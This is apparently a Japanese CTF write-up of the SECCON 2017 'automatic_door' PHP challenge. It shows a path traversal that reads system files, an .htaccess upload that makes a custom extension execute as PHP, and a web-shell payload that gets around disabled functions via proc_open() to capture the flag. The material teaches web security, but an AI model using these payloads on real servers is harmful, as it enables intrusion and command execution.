Tags: web php
Rating:
This writeup is written by @kazkiti_ctf
automatic_door
Get shell, and execute /flag_x
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/
↓
<?php
$fail = str_repeat('fail', 100);
$d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/';
@mkdir($d);
function read_ok($f)
{
return strstr($f, 'FAIL_') === FALSE &&
strstr($f, '/proc/') === FALSE &&
strstr($f, '/dev/') === FALSE;
}
function write_ok($f)
{
return strstr($f, '..') === FALSE && read_ok($f);
}
function GetDirectorySize($path)
{
$bytestotal = 0;
$path = realpath($path);
if ($path !== false && $path != '' && file_exists($path)) {
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) {
$bytestotal += $object->getSize();
}
}
return $bytestotal;
}
if (isset($_GET['action'])) {
if ($_GET['action'] == 'pwd') {
echo $d;
exit;
}
else if ($_GET['action'] == 'phpinfo') {
phpinfo();
exit;
}
else if ($_GET['action'] == 'read') {
$f = $_GET['filename'];
if (read_ok($f))
echo file_get_contents($d . $f);
else
echo $fail;
exit;
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
else
echo $fail;
if (GetDirectorySize($d) > 10000) {
rmdir($d);
}
exit;
} else if ($_GET['action'] == 'delete') {
$f = $_GET['filename'];
if (write_ok($f))
print_r(unlink($d . $f));
else
echo $fail;
exit;
}
}
highlight_file(__FILE__);
↓
$_GET['action']
では、pwd
、phpinfo
、read
、write
、delete
が使えることがわかる。
順に使ってみる
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd
↓
sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/
↓
現在のフォルダが得られる
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=phpinfo
↓
phpinfo()の内容が表示される。とりあえず、下記の気になる箇所だけ確認した。
allow_url_fopen=on
allow_url_include=off
↓
URLを挿入してもアクセスしにこない設定になっている。
ファイルを読み込めるのだが、現在読み込めるファイルがないので、パストラバーサルで/etc/passwd
を読み込んでみる
↓
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../../etc/passwd
↓
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
ntp:x:108:114::/home/ntp:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu User,,,:/home/ubuntu:/bin/bash
nomuken:x:1001:100::/home/nomuken:/bin/bash
seccon:x:1002:100::/home/seccon:/bin/bash
prometheus:x:110:117:Prometheus daemon,,,:/var/lib/prometheus:/bin/false
↓
パストラバーサルの脆弱性が存在し、ファイルが読み込めることがわかる★
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
↓
$_FILES['file']
とは、POST
でmultipart/form-data
形式でアップロードされたファイルを取得するもの。
↓
GET
でaction=write
を送信しつつ、POST
でfile
パラメータを送信する必要がある。
ファイル名test
で、内容testtest
のものをアップロードしてみる
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=test HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 166
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test"
testtest
--boundary--
↓
test
ファイルを読み込む
GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=test
↓
testtest
が取得できた
↓
書き込み&閲覧することができた。
しかし、writeでは下記の制約がある
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
↓
ph
がチェックされるのでphpファイルはアップロードできないようになっている。
次に設定変更できるファイルである.httaccess
の現在の設定を確認するために、apache2の設定ファイル/etc/apache2/apache2.conf
を取得してみる
↓
GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../etc/apache2/apache2.conf
↓
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
↓
AccessFileName .htaccess
と.htaccess
を読み込む設定になっており、allowoverride None
が記載されていない。
↓
.htaccess
をアップロードすれば、設定を変更することが可能。
下記のように、「拡張子.tttt
の場合に、phpファイルとして実行する」ように記載した.htaccess
ファイルをアップロードする。
↓
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 204
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"
AddType application/x-httpd-php .php .tttt
--boundary--
↓
GET /0b503d0caf712352fc200bc5332c4f95/?action=read&filename=.htaccess HTTP/1.1
↓
HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:24:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 42
Connection: close
Content-Type: text/html; charset=UTF-8
AddType application/x-httpd-php .php .tttt
↓
アップロードできていることが確認できた。
次にp.tttt
というファイル名で、とりあえず/bin/ls
を実行するPHPコードをアップロードしてみる。
↓
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"
<?php
echo "ok";
system("/bin/ls");
?>
--boundary--
↓
次に、アップロードしたp.tttt
ファイルにアクセスしてみる
GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt
↓
PHPが実行され、ok
は表示されるもののsystem()
が実行されないことがわかった。
よって、禁止されている関数を確認するために、phpinfo()
を確認してみる。
↓
disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,passthru,popen,shell_exec,system
↓
これを元に、コマンド実行が可能な関数を絞っていく。
↓
×exec()
×passthru()
×shell_exec()
×system()
×pcntl_exec()
×pcntl_fork()
○proc_open()
×popen()
↓
proc_open()
が使えそうだ
p.tttt
というファイル名で、/flag_x
を実行するPHPコードをアップロードする
↓
POST /0b503d0caf712352fc200bc5332c4f95/?action=write&filename=p.tttt HTTP/1.1
Host: automatic_door.pwn.seccon.jp
Content-Type: multipart/form-data;boundary="boundary"
Content-Length: 1200
--boundary
Content-Disposition: form-data; name="action"
write
--boundary
Content-Disposition: form-data; name="file"; filename="test.php"
<?php
echo "ok";
function system_ex($cmd, $stdin = "")
{
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
$result_message = "";
$error_message = "";
$return = null;
if (is_resource($process))
{
fputs($pipes[0], $stdin);
fclose($pipes[0]);
while ($error = fgets($pipes[2])){
$error_message .= $error;
}
while ($result = fgets($pipes[1])){
$result_message .= $result;
}
foreach ($pipes as $k=>$_rs){
if (is_resource($_rs)){
fclose($_rs);
}
}
$return = proc_close($process);
}
return array(
'return' => $return,
'stdout' => $result_message,
'stderr' => $error_message,
);
}
$cmd = "/flag_x";
$ret = system_ex($cmd, $input);
var_dump($ret);
?>
--boundary--
アップロードしたp.tttt
ファイルにアクセスする
GET /0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/p.tttt
↓
HTTP/1.1 200 OK
Date: Sun, 10 Dec 2017 03:51:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 141
Connection: close
Content-Type: text/html; charset=UTF-8
okarray(3) {
["return"]=>
int(0)
["stdout"]=>
string(41) "SECCON{f6c085facd0897b47f5f1d7687030ae7}
"
["stderr"]=>
string(0) ""
}
↓
SECCON{f6c085facd0897b47f5f1d7687030ae7}